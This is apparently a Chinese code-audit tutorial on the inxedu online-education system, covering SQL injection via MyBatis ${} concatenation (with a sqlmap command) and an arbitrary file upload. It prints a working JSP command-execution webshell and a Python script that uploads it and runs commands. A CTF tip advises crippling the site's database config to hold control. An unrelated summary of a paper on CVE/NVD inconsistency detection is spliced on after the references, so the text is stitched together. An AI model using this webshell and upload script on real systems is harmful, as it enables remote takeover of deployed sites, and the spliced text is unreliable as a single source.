为了方便调试，我安装了两个IDE，一个是eclipse(集成环境方便开发) 一个是idea(方便动态调试)
首先要配置最基础的java开发和运行环境就需要 安装jdk的8.0(一般习惯叫jdk 1.8) 通常也可以说是java8,
hombrew 安装教程 可以参考这篇文章，比较简单，我就不赘述了。
[Mac OS 安装java指定版本](https://www.jianshu.com/p/6289bd0bb69c)
#### 0x3.3.1 安装eclipse
这个可以直接去官网下载:
[download.
**eclipse**.org](http://www.baidu.com/link?url=tMBavDmVu7xcxa56F-Fq1eg5iCGOyMtAOkYlvmLKOObnlIyaI4M7UPc0vtxdkdUB)
然后选择development for jee那个package来安装就行了。
#### 0x3.3.2 安装IDEA
参考这篇安装文章: [Mac
安装idea以及激活方法](https://blog.csdn.net/u014266077/article/details/80616471)
* * *
下面就需要配置下IDE的运行程序了。
eclipse 的话直接修改Tomcat Server 为我们安装的Tomcat就可以了。
Idea因为不是集成环境，所以我们需要用到第三方插件
按需要安装
## 0x4 小试牛刀之尝试部署项目
这里参考了国科社区师傅用的
[javapms-1.4-beta.zip](http://download.javapms.com/pgdowload.jsp)
(1) 直接安装
(2) IDEA 部署
我们选择`import Project`
然后一路默认下去就行了,打开项目之后，我们配置下运行程序Tomcat
尝试下idea强大的反编译class及其调试功能
先运行安装下
随便选一个action打一个断点就行了。
> 下面是几个调试中会用到的几个快捷键：
> ●F7 ，进入下一步，如果当前断点是一个方法，进入方法体。
> ●F8 ，进入下一步，但不会进入方法体内。
> ●Alt+Shift+F7 ， 进入下一步，如果当前断点是一个方法，方法还有方法则循环进入。
> ●Shift+F8 ，跳出到下一个断点，也可以按F9来实现。
> ●Drop Frame ，当进入一个方法体想回退到方法体外可以使用该键。
> 我很少用快捷键，一般用鼠标就行了，或者mac上的bar就行了。不过F9我用的比较多。
## 0x5 崭露头角之因酷教育在线漏洞挖掘
这个系统我印象是比较深刻, 因为之前在那个湖湘杯的登顶赛中一方面没下载下来源码,
另外一方面自己对java的项目不熟悉所以当时做了标记，所以这次就以这个为例,顺便聊一下登顶赛维持权限的技巧。
### 0x5.1 安装过程
inxedu 因酷教育软件v2.0.6
源码:<http://down.admin5.com/jsp/132874.html>
有个安装目录详细记录了使用教程和idea的教程。
这里简单记录下:
1.执行`mysql> source ./demo_inxedu_v2_0_open.sql`
2.idea导入项目直接`import projects`,默认下去即可,等待自动解决maven依赖,可能有点慢。
3.数据库配置
修改下数据库配置
4.配置Tomcat
`Run-->Edit Configurations`->Maven
点击`Run`,等待安装完成即可。
前台http://127.0.0.1:82/
测试账号：[email protected] 111111
后台 http://127.0.0.1:82/admin
测试账号：admin 111111
### 0x5.2 前置知识
这些内容我简要提取一些关键点出来。
1.目录结构分析
├── java //核心代码区
│ └── com
├── resources //资源目录,存放一些配置文件
│ └── mybatis //SQL 文件描述XML
└── webapp //就是类似/var/www/html存放一些静态文件内容
├── WEB-INF
├── images
├── kindeditor
└── static
这里重点讲下`WEB-INF`目录
> WEB-INF是用来存储服务端配置文件信息和在服务端运行的类文件的，它下面的东西不允许客户端直接访问的。
> 一般会有`web.xml`文件(WEB项目配置文件)
> 通过文件读取该文件我们可以获取到这个项目的架构和配置信息(编码、过滤器、监听器…)
2.了解SpringMVC架构工作流程
> 1.用户发起请求->SPring MVC
> 前端控制器(DispathcerServlet)->处理器映射器(HandlerMapping)进行处理->根据URL选择对应的Controller
> 2.控制器(Controller)执行相应处理逻辑,执行完毕,Return 返回值。
> 3.`ViewResolver`解析控制器返回值->前端控制器(DispathcerSevlet)去解析->View对象
> 4.前端控制器(DispathcerSevlet)对View进行渲染,返回至客户端浏览器,完成请求交互
3.Mybaits
> Mybatis 数据持久化框架,可以实现将应用程序的对象持久化到关系型数据库中,但是需要我们手动编写SQL语句
使用方式: 基于 **XML配置** ,将SQL语句与JAVA代码分离
容易出现的安全问题主要是在于:
在XML配置中,描述参数使用不当会导致SQL注入
1.#{} 预编译处理参数
2.${} 直接拼接sql语句
后面分析SQL注入的时候我会详细分析下这个框架的实现过程。
### 0x5.3 开始代码审计之旅
时间充裕，我们采取通读的审计方式， 对于框架而言，我一般是先阅读权限控制模块，然后直接通读Controller模块,然后跟踪看看,
后面你会发现很多类似的代码，从而提高通读的速度的。
#### 0x5.3.1 权限控制流程
通过阅读`web.xml`
<servlet-mapping>
<servlet-name>springmvc</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
可以看到这里Spring MVC前置拦截器采用的是`/`规则,也就是拦截所以不带后缀的请求,而`/*`是拦截所有请求。
我们继续跟进看下有没有自定义的控制拦截,我们读下`Spring mvc`配置文件
`/src/main/resources/spring-mvc.xml`
<mvc:interceptors>
<!-- 后台登录和权限的拦截器配置 -->
<mvc:interceptor>
<mvc:mapping path="/admin/*"/>
<mvc:mapping path="/admin/**/*"/>
<mvc:exclude-mapping path="/admin/main/login"/>
<bean class="com.inxedu.os.common.intercepter.IntercepterAdmin"></bean>
</mvc:interceptor>
<!-- 前台网站配置拦截器配置 -->
<mvc:interceptor>
<mvc:mapping path="/**/*"/>
<mvc:exclude-mapping path="/static/**/*"/>
<mvc:exclude-mapping path="/*/ajax/**"/>
<mvc:exclude-mapping path="/kindeditor/**/*"/>
<bean class="com.inxedu.os.common.intercepter.LimitIntercepterForWebsite">
</bean>
</mvc:interceptor>
<!-- 前台用户登录拦截器配置 -->
<mvc:interceptor>
<mvc:mapping path="/uc/*"/>
<mvc:mapping path="/uc/**/*"/>
<mvc:exclude-mapping path="/uc/tologin"/>
<mvc:exclude-mapping path="/uc/getloginUser"/>
<mvc:exclude-mapping path="/uc/register"/>
<mvc:exclude-mapping path="/uc/createuser"/>
<mvc:exclude-mapping path="/uc/login"/>
<mvc:exclude-mapping path="/uc/passwordRecovery"/>
<mvc:exclude-mapping path="/uc/sendEmail"/>
<bean class="com.inxedu.os.common.intercepter.IntercepterWebLogin">
</bean>
</mvc:interceptor>
好家伙,我们跟进相关的类,看下拦截的流程。
`com.inxedu.os.common.intercepter.IntercepterAdmin`
public boolean preHandle(HttpServletRequest request,
HttpServletResponse response, Object handler) throws Exception {
//获取登录的用户
SysUser sysUser = SingletonLoginUtils.getLoginSysUser(request);
if(sysUser==null){
response.sendRedirect("/admin");//跳转登录页面
return false;
}
//访问的路径
String invokeUrl = request.getContextPath() + request.getServletPath();
//获取所有的权限
List<SysFunction> allFunctionList = (List<SysFunction>) EHCacheUtil.get(CacheConstans.SYS_ALL_USER_FUNCTION_PREFIX+sysUser.getUserId());
if(ObjectUtils.isNull(allFunctionList)){
allFunctionList = sysFunctionService.queryAllSysFunction();
EHCacheUtil.set(CacheConstans.SYS_ALL_USER_FUNCTION_PREFIX+sysUser.getUserId(),allFunctionList);
}
//判断当前访问的权限，是否在限制中
boolean hasFunction = false;
for(SysFunction sf : allFunctionList){
if(sf.getFunctionUrl()!=null && sf.getFunctionUrl().trim().length()>0 && invokeUrl.indexOf(sf.getFunctionUrl())!=-1){
hasFunction = true;
}
}
//如果当前访问的权限不在限制中,直接允许通过
if(!hasFunction){
return true;
}
//如果当前访问的权限在限制中则判断是否有访问权限
List<SysFunction> userFunctionList = (List<SysFunction>) EHCacheUtil.get(CacheConstans.USER_FUNCTION_PREFIX+sysUser.getUserId());
if(userFunctionList==null || userFunctionList.size()==0){
userFunctionList = sysFunctionService.querySysUserFunction(sysUser.getUserId());
EHCacheUtil.set(CacheConstans.USER_FUNCTION_PREFIX+sysUser.getUserId(), userFunctionList);
}
boolean flag = false;
if(ObjectUtils.isNotNull(userFunctionList)){
for(SysFunction usf : userFunctionList){
//如果用户有访问权限
if(invokeUrl.indexOf(usf.getFunctionUrl())!=-1 && usf.getFunctionUrl()!=null && usf.getFunctionUrl().trim().length()>0){
flag=true;
break;
}
}
}
继续跟进下:`SingletonLoginUtils.getLoginSysUser`
public static SysUser getLoginSysUser(HttpServletRequest request) {
String userKey = WebUtils.getCookie(request, CacheConstans.LOGIN_MEMCACHE_PREFIX);
if (StringUtils.isNotEmpty(userKey)) {
SysUser sysUser = (SysUser) EHCacheUtil.get(userKey);
if (ObjectUtils.isNotNull(sysUser)) {
return sysUser;
}
}
return null;
}
这里获取了Cookie的值解析出了`userKey`,至于这个可不可以伪造,我们跟下来源
`/src/main/java/com/inxedu/os/edu/controller/main/LoginController.java`
@RequestMapping("/main/login")
public ModelAndView login(HttpServletRequest request,HttpServletResponse response,@ModelAttribute("sysUser") SysUser sysUser){
...............
request.getSession().removeAttribute(CommonConstants.RAND_CODE);
sysUser.setLoginPwd(MD5.getMD5(sysUser.getLoginPwd()));
SysUser su = sysUserService.queryLoginUser(sysUser);
if(su==null){
model.addObject("message", "用户名或密码错误！");
return model;
}
//判断用户是否是可用状态
if(su.getStatus()!=0){
model.addObject("message", "该用户已经冻结！");
return model;
}
//缓存用登录信息
EHCacheUtil.set(CacheConstans.LOGIN_MEMCACHE_PREFIX+su.getUserId(), su);
//request.getSession().setAttribute(CacheConstans.LOGIN_MEMCACHE_PREFIX+su.getUserId(),su );
WebUtils.setCookie(response, CacheConstans.LOGIN_MEMCACHE_PREFIX, CacheConstans.LOGIN_MEMCACHE_PREFIX+su.getUserId(), 1);
//修改用户登录记录
sysUserService.updateUserLoginLog(su.getUserId(), new Date(), WebUtils.getIpAddr(request));
//添加登录记录
SysUserLoginLog loginLog = new SysUserLoginLog();
loginLog.setUserId(su.getUserId());//用户ID
loginLog.setLoginTime(new Date());//
loginLog.setIp(WebUtils.getIpAddr(request));//登录IP
String userAgent = WebUtils.getUserAgent(request);
if(StringUtils.isNotEmpty(userAgent)){
loginLog.setUserAgent(userAgent.split(";")[0]);//浏览器
loginLog.setOsName(userAgent.split(";")[1]);//操作系统
}
//保存登录日志
sysUserLoginLogService.createLoginLog(loginLog);
model.setViewName(loginSuccess);
}catch (Exception e) {
model.addObject("message", "系统繁忙，请稍后再操作！");
logger.error("login()--error",e);
}
return model;
}
}
这里可以看到登陆信息是经过数据库对比判断后缓存在服务端，并且在服务端验证的，除非加密算法可逆，要不然就没办法越权，这个后面可以细跟,鉴于文章篇幅，这里不做探讨。
#### 0x5.3.2 前台功能审计
上面我们排除了简单的越权可能性, 所以我们可以集中精力围绕在前台功能点。
**前台SQL注入挖掘思路**
这套系统采用的是Mybatis框架
[Java Mybatis框架入门教程](http://c.biancheng.net/mybatis/)
`src/main/java/com/inxedu/os/app/controller/user/AppUserController.java`
@Controller
@RequestMapping("/webapp")
public class AppUserController extends BaseController{
..........
@RequestMapping("/deleteFaveorite")
@ResponseBody
public Map<String, Object> deleteFavorite(HttpServletRequest request){
Map<String, Object> json=new HashMap<String, Object>();
try{
String id=request.getParameter("id");
if(id==null||id.trim().equals("")){
json=setJson(false, "id不能为空", null);
return json;
}
courseFavoritesService.deleteCourseFavoritesById(id);
json=setJson(true, "取消收藏成功", null);
}catch (Exception e) {
json=setJson(false, "异常", null);
logger.error("deleteFavorite()---error",e);
}
return json;
}
....................
}
这个主类入口是`webapp`,所以我们访问`/webapp/deleteFaveorite`,就能访问到该控制器,`/webapp`
并没有拦截器处理,所以我们可以直接不带cookie访问。
可以看到直接获取了id值,然后进入了`courseFavoritesService.deleteCourseFavoritesById(id)`
我们继续跟进:`deleteCourseFavoritesById`
`src/main/java/com/inxedu/os/edu/dao/impl/course/CourseFavoritesDaoImpl.java`
package com.inxedu.os.edu.dao.impl.course;
import java.util.List;
import java.util.Map;
import org.springframework.stereotype.Repository;
import com.inxedu.os.common.dao.GenericDaoImpl;
import com.inxedu.os.common.entity.PageEntity;
import com.inxedu.os.edu.dao.course.CourseFavoritesDao;
import com.inxedu.os.edu.entity.course.CourseFavorites;
import com.inxedu.os.edu.entity.course.FavouriteCourseDTO;
/**
*
* CourseFavorites
* @author www.inxedu.com
*/
@Repository("courseFavoritesDao")
public class CourseFavoritesDaoImpl extends GenericDaoImpl implements CourseFavoritesDao {
public void deleteCourseFavoritesById(String ids) {
this.delete("CourseFavoritesMapper.deleteCourseFavoritesById", ids);
// 这里就会寻找CourseFavoritesMapper.deleteCourseFavoritesById
// 对应的XML文件
// course/CourseFavoritesMapper.xml 中对应的
// deleteCourseFavoritesById 自定义语句
}
public int checkFavorites(Map<String, Object> map) {
return this.selectOne("CourseFavoritesMapper.checkFavorites", map);
}
public List<FavouriteCourseDTO> queryFavoritesPage(int userId, PageEntity page) {
return this.queryForListPage("CourseFavoritesMapper.queryFavoritesPage", userId, page);
}
}
`src/main/resources/mybatis/inxedu/course/CourseFavoritesMapper.xml`
<!-- 删除收藏 -->
<delete id="deleteCourseFavoritesById" parameterType="String">
DELETE FROM EDU_COURSE_FAVORITES WHERE ID IN (${value})
</delete>
我们可以看到这里拼接值是`String`类型,`${value}`采取的是直接拼接SQL语句的方法,至于为什么不采取#{}拼接方式,
因为这里想拼接的是数字类型，而`#{}`拼接方式默认都会两边带上`''`,其实解决方案就是自己可以再加一层数字判断即可。
我们可以直接采取SQLMAP来验证,然后check一下控制台执行的SQL就可以二次确认了。
`sqlmap -u "http://127.0.0.1:82//webapp/deleteFaveorite?id=1*"`
关于这个点触发点比较多,有兴趣读者可以自行跟一下。
读者如果对此还是不甚了解,[Mybatis从认识到了解
](https://www.e-learn.cn/content/java/1384478),可以先阅读下此文。
**任意文件上传挖掘思路**
`/src/main/java/com/inxedu/os/common/controller/VideoUploadController.java`
@Controller
@RequestMapping("/video")
public class VideoUploadController extends BaseController{
................
/**
* 视频上传
*/
@RequestMapping(value="/uploadvideo",method={RequestMethod.POST})
public String gok4(HttpServletRequest request,HttpServletResponse response,@RequestParam(value="uploadfile" ,required=true) MultipartFile uploadfile,
@RequestParam(value="param",required=false) String param,
@RequestParam(value="fileType",required=true) String fileType){
try{
String[] type = fileType.split(",");
//设置图片类型
setFileTypeList(type);
//获取上传文件类型的扩展名,先得到.的位置，再截取从.的下一个位置到文件的最后，最后得到扩展名
String ext = FileUploadUtils.getSuffix(uploadfile.getOriginalFilename());
if(!fileType.contains(ext)){
return responseErrorData(response,1,"文件格式错误，上传失败。");
}
//获取文件路径
String filePath = getPath(request,ext,param);
File file = new File(getProjectRootDirPath(request)+filePath);
//如果目录不存在，则创建
if(!file.getParentFile().exists()){
file.getParentFile().mkdirs();
}
//保存文件
uploadfile.transferTo(file);
//返回数据
return responseData(filePath,0,"上传成功",response);
}catch (Exception e) {
logger.error("gok4()--error",e);
return responseErrorData(response,2,"系统繁忙，上传失败");
}
}
..........................
}
我们跟进下`getPath`函数
private String getPath(HttpServletRequest request,String ext,String param){
String filePath = "/images/upload/";
if(param!=null && param.trim().length()>0){
filePath+=param; //这里直接拼接param,所以我们这里可以任意跳转目录
}else{
filePath+=CommonConstants.projectName;
}
filePath+="/"+ DateUtils.toString(new Date(), "yyyyMMdd")+"/"+System.currentTimeMillis()+"."+ext;
return filePath;
}
接着访问下:
`http://127.0.0.1:82/images/upload/20200127/1580125876609.jsp?i=ls`
我们已经拿到没有回显的shell了。
## 0x6 登顶赛维持权限小技巧
上次打湖湘杯下午场第一次接触登顶赛这种类型, 当时脑子都是在想什么高端操作，什么修改权限,秒修漏洞啥的，赛后出来我才明白，最简单最傻b的方法往往最有效。
> 1. 通过漏洞拿到webshell
> 2. 直接修改网站配置文件,修改数据库配置让网站挂掉,让功能没办法访问,自己记得修改了什么地方。
> 3. 写脚本不断发包去生成webshell,然后去请求,执行修改文件内容为你的队名的操作。
>
>
> (这里要跑两个线程一个是请求生成shell,一个是稳定shell)
>
> 1. 接近判断时间的时候,让网站正常回来即可。
>
下面是我自己写的简陋版本,后面我会将其框架化,并加入session管理。
这里要注意shell这样来拼接,要不然echo命令用不了:
`<%Runtime.getRuntime().exec(new
String[]{"/bin/sh","-c",request.getParameter("cmd")});%>`
#!/usr/bin/python
# -*- coding:utf-8 -*-
import requests
import urllib.parse
import re
import threading
debug = True
def g1(host):
url = 'http://' + host + '/' +'video/uploadvideo?¶m=temp&fileType=jsp'
# 这里需要修改下shell名字,上传name等配置
files = {'uploadfile': ('shell.jsp', open('shell.jsp', 'rb'))}
if debug:
print("url:n" + url)
print(files)
rText = requests.post(url, files=files, timeout=5).text
# 这里是shell路径匹配正则
shellRegex = re.compile('"url":"(.*?)"')
if(shellRegex.search(rText)):
shellPath = shellRegex.search(rText)[1]
if debug:
print("shellPath:n" + shellPath)
# 开始拼接shell
shellURL = 'http://' + host + shellPath
if debug:
print("shellURL:n" + shellURL )
print("[+]Success,get Shell: {}".format(shellURL))
return shellURL
else:
print("[-] Error, no shell!!!")
return False
def getShell(host):
print("[+]Staring getShell.....".center(100,'*'))
shellList = []
# request 发包
s1 = g1(host)
# socket 自定义协议包发送
# s2 = g2(url)
if(s1):
shellList.append(s1)
return shellList
def requestShell(shellURL, cmd, password):
print("[+]Staring requestShell.....".center(100,'='))
# 检查shell存活性
if debug:
print(shellURL)
for u in shellURL:
code = requests.get(u).status_code
if(code != 404):
# 开始创建请求线程
print("[+] now, subThread requesting......")
t = threading.Thread(target=work, args=(u, cmd, password,))
t.start()
t.join()
return True
else:
print("[-]Error,404,shell:{}".format(u))
return False
def work(u, cmd, password):
print("work Function................")
param = urllib.parse.quote('?' + password + '=' + cmd,safe='/?&=', encoding=None, errors=None)
url = u + param
if debug:
print(url)
r = requests.get(url, timeout=5)
if(r.status_code == 200):
print("[+]Success, Execute CMD!!!")
return True
else:
print("[-]Error, Execute CMD Failed!!")
def attack(url):
shellURL = getShell(url)
# 执行的命令
cmd = '''echo "123">/tmp/shell.txt ''';
# 连接shell的参数
password = 'cmd'
if(shellURL):
for i in range(2):
print("n Staring Fuzz:{} n".format(str(i)).center(100,'+'))
result = requestShell(shellURL, cmd, password)
if(result):
print("[+] Success,cmd:{}".format(cmd))
else:
print("[-] Error!")
else:
print("[-] Error, getshell failed!")
def main():
Target = ['127.0.0.1:82']
# 这里可以进行多线程优化,针对批量目标的时候
for host in Target:
attack(host)
if __name__ == '__main__':
main()
`shell.jsp`
<%Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",request.getParameter("cmd")});%>
## 0x7 总结
这套系统还有很多值得深入挖掘的点，值得我再去细细分析，
后面的系列我依然会围绕这个系统来展开，探究更多java漏洞的可能性，本文更多的是一种萌新开门篇，重点在配置环境，然后粗浅介绍下系统的漏洞，让读者有直观的现象,
后面我将会从各种底层框架的使用来分析安全成因,并尝试去挖掘一些新的漏洞。
## 0x8 参考链接
[java代码审计文章集合](https://www.cnblogs.com/r00tuser/p/10577571.html)
[JDK、JRE、JVM三者间的关系](https://www.cnblogs.com/zhangzongxing01/p/5559126.html)
[Mac系统安装和配置tomcat步骤详解](https://www.jianshu.com/p/d5a3d34a7de9)
[JAVA代码审计 | 因酷网校在线教育系统](https://xz.aliyun.com/t/2646)
SSM框架审计 | 社区文章 |
浅谈公共安全漏洞报告（CVE&NVD）中不一致性的检测
原文章发表于USENIX2019：<https://www.usenix.org/conference/usenixsecurity19/presentation/dong>
### 摘要
公共漏洞库如公共漏洞和暴露（CVE）、国家漏洞数据库（NVD）在促进漏洞披露和缓解方面取得了巨大的成功。虽然这些数据库已经积累了大量数据，但人们对它们的信息质量和一致性越来越关注。本文中提出了一个自动化系统VIEM来检测完全标准化的NVD数据库与非结构化的CVE描述及其引用的漏洞报告之间的不一致信息，即声明漏洞版本范围过高或过低。
使用VIEM和过去20年里的78,296个CVE
ID和70,569个漏洞报告组成的大数据集检查信息一致性。结果表明，漏洞软件版本不一致非常普遍。只有59.82%的漏洞报告/CVE摘要严格匹配标准化NVD条目，并且不一致性程度随着时间的推移而增加。
### 一、漏洞报告介绍
**CVE。** 当人们发现一个新的漏洞时，他们可以向CVE编号机构（CNAS）请求一个唯一的CVE-ID号。Mitre公司是编辑和主要CNA。然后，CNA将对漏洞进行研究以确定详细信息，并检查之前是否报告过该漏洞。如果漏洞确实是新的，那么将分配一个CVE
ID，并通过CVE列表公开发布相应的漏洞信息。
CVE列表由MITRE维护，作为一个网站，CVE团队在其上发布每个报告的漏洞的摘要。在编写CVE摘要时，CVE团队将分析（公开）第三方漏洞报告，然后在其描述中包括详细信息，如受影响软件的名称、漏洞软件版本、漏洞类型以及漏洞利用。
除了摘要之外，每个CVE条目还包含一个外部引用列表。外部参考是指向第三方技术报告或博客/论坛帖子的链接，这些报告或博客/论坛帖子为CVE团队提供所需的信息，以便制定官方漏洞描述。有关CVE的信息可以帮助软件供应商和系统管理员确定漏洞软件的版本，评估其风险级别，并相应地执行补救措施。
**NVD。**
NVD（国家漏洞数据库）由与CVE不同的组织（即NIST）维护。NVD与CVE列表完全同步。目标是对CVE的任何更新都将立即出现在NVD中。当一个新的CVE
ID出现在CVE列表上后，NIST NVD团队将首先进行分析，以在创建NVD条目之前添加增强信息，如严重性评分。
与CVE相比，NVD提供了两个附加功能。首先，NVD数据条目是结构化的。NIST
NVD团队会将非结构化的CVE信息转换为结构化的JSON或XML，其中，易受攻击的软件名称和版本等信息字段将根据通用通用弱点枚举规范（CWE）进行格式化和标准化。第二，数据条目不断更新。NVD中的信息可在初始漏洞报告后（手动）更新。例如，随着时间的推移，NIST员工或外部人员可能会发现新的易受攻击的软件版本，这些版本将添加到现有的NVD条目中。
CVE和NVD数据库主要通过人工维护，这导致了许多重要问题。首先考虑到可能会在许多不同的地方报告和讨论一个漏洞，CVE/NVD数据库中的信息（例如，漏洞软件名称及其版本）的完整性如何？第二，考虑到社区不断努力研究报告的漏洞，目前的手动方法如何保持CVE/NVD条目的最新？
### 二、VIEM设计
为了精确定位和匹配感兴趣的对象，设计了VIEM（漏洞信息提取模型）来完成三个单独的任务为了便于未来的研究和应用开发，标记数据集和VIEM的源代码在：
_<https://github.com/pinkymm/inconsistency_detection>_
**命名对象识别模型。**
首先，VIEM利用最先进的命名对象识别（NER）模型来识别感兴趣的对象，即漏洞软件的名称和版本、漏洞组件的名称和版本以及漏洞软件依赖的基础软件系统的名称和版本（参见下图b）。
这种设计背后的原因有两个。首先，NER模型根据输入文本的结构和语义来定位对象，这使得能够跟踪训练数据中未观察到的软件名称。第二，NER模型可以学习和区分与漏洞攻击和非漏洞软件版本相关的上下文，这可以消除不受影响的软件版本，只确定感兴趣的对象。
**关系提取模型。**
对于提取的对象，VIEM的下一个任务是对已识别的对象进行相应的配对。软件名称和版本共同出现在报表中是很常见的。因此，一种本能的反应是将附近的软件名称和版本分组，然后将它们视为漏洞软件-版本对。然而，这种直接的方法不适合本文问题。如下图c所示，漏洞软件名称并不与所有漏洞版本紧密相连。仅仅应用上面的方法可能不可避免地会错过漏洞软件的版本。
为了解决这个问题，VIEM首先要进行版本和软件名称之间所有可能的组合。然后，它使用关系提取（RE）模型来确定最可能的组合，并将它们视为正确的对象对。这种设计的基本原理如下。RE模型的最初设计不是为了在对象之间找到正确的对。相反，它负责确定一对对象的属性。例如，假设对RE模型进行了训练，以便为一对实体分配以下三个属性之一--“born
in”,“employed by” 和“capital of”。给定在文本“Steve Jobs was born in California,and
was the CEO of Apple.”中的两对对象 _P_ 1 = (“Steve Jobs”, “Apple“) 和 _P_ 2 = (“Steve
Jobs”,“California”)，一个RE模型将“employed by”分配给P1，将“born in”属性分配给P2。
(a)Openwall报告，其中包含漏洞的软件版本(2.3.x)和非漏洞版本(3.0.0及更高版本)。
(b)包含与漏洞软件相关的多个实体的CVE摘要（易受攻击组件：Windows font
library;漏洞的软件：.NETFramework、SkypeforBusiness、Lync、Silverl。
从属软件：windows；绑定到这些实体的软件版本)
(c)CVE摘要，其中易受攻击的软件的名称和版本不相邻
在模型中，每个可能的版本和软件组合都可以被视为一对单独的对象。利用关系提取模型的思想，VIEM为每对对象分配一个属性，表明对应实体关系的真实性。然后，它将相应的属性作为真正的对。以下图中的情况为例，有4个对象由2个软件（Microsoft
vbscript和Internet
Explorer）表示，2个版本范围（5.7、5.8和9到11）。它们可以用4种不同的方式组合。通过将这些组合视为4对不同的对象，可以使用一个RE模型为每个组合分配一个二分类属性。假设二分类属性指定是否应将相应的对象对分组为软件及漏洞版本，VIEM可以使用属性分配作为指标来确定对象对。应该注意的是用通用平台枚举（CPE）格式表示成对的对象。例如，cpe:/a:google:chrome:3.0.193.2:beta，其中google表示供应商，chrome表示产品，3.0.193.2表示版本号，beta表示软件更新。下图中W.E.和P.E分别表示单词和位置嵌入。
首先从文本中提取命名对象（漏洞软件名称和版本）,除此之外还集成了一个名录，以提高其提取漏洞软件名称的准确性。在高层，NER模型首先使用单词和字符嵌入的串联将文本序列编码为单词向量序列。这种嵌入过程是必要的，因为深度神经网络不能直接处理文本。然后以矢量序列作为输入，利用双向递归神经网络预测序列中每个单词的标签。下面将介绍主要的技术细节。
对于单词和字符嵌入，NER模型首先使用标准的单词嵌入方法将每个单词编码为矢量表示。然后，它利用双向门控循环联合（Bi-GRU）网络在字符级别执行文本编码。如下图所示，NER模型将这两个嵌入连接为一个向量序列，然后将其作为另一个Bi-GRU网络的输入。
**迁移学习。**
本文需要测评不同漏洞类型的漏洞报告，不同漏洞类型的报告不一定共享相同的数据分布。因此，使用单一机器学习模型来处理所有漏洞报告是不可行的，除非能构建并手动注释一个涵盖所有漏洞的大型培训数据集。不幸的是，没有这样的标记数据集可用，标记一个大型数据集需要大量的人力。为了解决这个问题，VIEM采用了迁移学习策略，该策略学习前面提到的NER，并使用一个主要类别中的漏洞报告重新建模，然后将其能力转移到其他漏洞类别。通过这种方式可以减少数据标记的工作，使VIEM对任意类型的漏洞报告有效。
### 三、数据集
本实验收集了过去20年大量的公共漏洞报告和CVE和NVD条目。对这些漏洞报告中的一个子集进行人工标记（真实值），并使用标记的数据评估VIEM的性能。
**CVE IDs。** 首先从cvedetails.com获取一个CVE
ID列表，将cve/nvd数据库中索引的安全漏洞分为13类。为了收集公开报告的漏洞的代表性数据集，对从1999年1月到2018年3月（超过20年）的每个漏洞类别的CVE
ID进行了爬行。CVE ID是公开漏洞的唯一标识符。尽管CVE网站声称他们拥有105000多个CVE ID，但其中许多CVE
ID尚未公开，或已被合并或撤销。总共获得了78296个CVE ID，涵盖了下图所示的所有13个类别。每个CVE ID对应于表1所示漏洞的简短摘要。
**漏洞报告。** 每个CVE
ID的网页还包含指向外部报告的外部引用列表。本文研究集中在5个具有代表性的源网站上，以获取CVE引用的漏洞报告，包括ExploitDB、SecurityFocus、SecurityTracker、OpenWall和SecurityFocus论坛。请注意，本实验将SecurityFocus和SecurityFocus论坛视为两个不同的网站。SecurityFocus站点仅显示“结构化”信息（例如受影响的操作系统、软件版本）。SecurityFocus论坛（也称Bugtraq
_邮件列表_
）主要包含漏洞报告者和软件开发人员之间的“非结构化”文章和讨论帖。关于其他三个网站，SecurityTracker还包含结构良好的信息，而Openwall和ExploitDB包含非结构化信息。
总共获得了与56,642个CVE ID相关的70,569个漏洞报告。 这些CVE ID覆盖了所有78,296个公共CVE ID的72.34％。
这意味着72.34％的CVE
ID都有来自5个源网站之一的漏洞报告，证实了它们的受欢迎程度。有来自SecurityTracker和SecurityFocus的45，812份结构化报告，以及DevelopitDB、OpenWall和SecurityFocus论坛的24，757份非结构化报告。
**NVD条目。** 对于每个CVE ID还解析NVD条目的JSON版本，其中包含结构化数据字段，例如易受攻击的软件名称及其版本。
总共获得78,296个NVD条目。
**数据提取和预处理。** 对于结构化报告，直接按照固定格式解析易受攻击的软件名称和版本信息。
对于非结构化漏洞报告和CVE摘要，使用NLTK工具包提取文本信息，删除所有Web链接，并对句子进行标记化。
请注意没有从非结构化文本中删除任何停用词或符号，因为它们通常是软件名称和版本的一部分。
### 四、模型评估
使用内存损坏漏洞报告及其CVE摘要(3，448个CVE ID)的数据对NER和RE模型进行评估。
**1）NER模型。** 给定一个文档，NER模型会提取漏洞软件名称和漏洞版本。
提取过程首先在单词级别，然后具有SN或SV标签的连续单词将被分组为软件名称或软件版本。
在单词级别提取中使用三个评估指标：（1）精确度表示相关对象在提取的实体上的比例; （2）召率回代表在相关对象总数中提取的相关对象的比例;
（3）总体准确度代表所有预测的正确预测的分数。 分别计算软件名称提取和版本提取的精度和召回率。
以8：1：1的比例切分数据集，用于训练，验证和测试。 这里预训练的单词嵌入的维度是300， 为了对齐输入序列，只考虑每个句子的前200个单词。
根据经验，观察到绝大多数句子短于200个单词， 除了单字级嵌入权重W（使用FastText方法）之外，NER模型中的所有层都被联合训练。
默认批量大小为50，轮次数为20。采用一种改进的随机梯度下降方法ADAM作为优化器，可以自适应地调整学习速度减少收敛时间，也采用丢弃法（dropout）来防止过拟合。
通过随机分割数据集进行10次重复实验，下表中显示了平均精度，召回率和准确度。即使不使用名录（即字典），NER模型也非常准确。
可以提取漏洞软件名称和版本，精度为0.978，召回率为0.991。 此外，名录字典证明软件名称提取的性能是可预期的。 应用名录后，整体精度高达0.9969。
这种高精度的NER是理想的，因为任何错误都可能传播到后来的RE模型。
**2）RE模型。** 首先检查RE模型本身的性能，然后通过组合NER和RE来评估端到端性能。
与之前类似，将数据集与8：1：1的比例分开进行训练，验证和测试。
在这里将预训练的单词嵌入的维度设置为50。位置嵌入的维度为10。默认批量大小为80，轮次数为200，将 _双向图层_ 的数量设置为2
。与NER模型一样，RE模型也使用预训练的单词嵌入权重W。位置嵌入权重（即Ws和Wv）随机初始化并与模型中的其他参数一起训练。
首先进行实验以单独评估RE模型。 更具体地说，假设已经正确提取了命名对象，只使用RE测试“配对”过程。 这假设早期的NER模型具有完美的性能。
如下表所示RE模型也非常准确。 该模型的精度为0.9955，召回率为0.9825
其次评估端到端性能，并使用NER的输出作为RE模型的输入。 这样，NER的错误可能会影响RE的性能。
如上表所示，准确度从0.9916降至0.9704（没有名录）和0.9764（使用名录）。
退化主要发生在精确度上。进一步的检查表明，NER模型错误地提取了一些非软件名称的对象，这些对象成为RE的错误输入并损害了分类精度。
此外，在NER和RE组合后，名录的好处也出现了，将精度从0.9248提高到0.9411（不会损害召回率）。
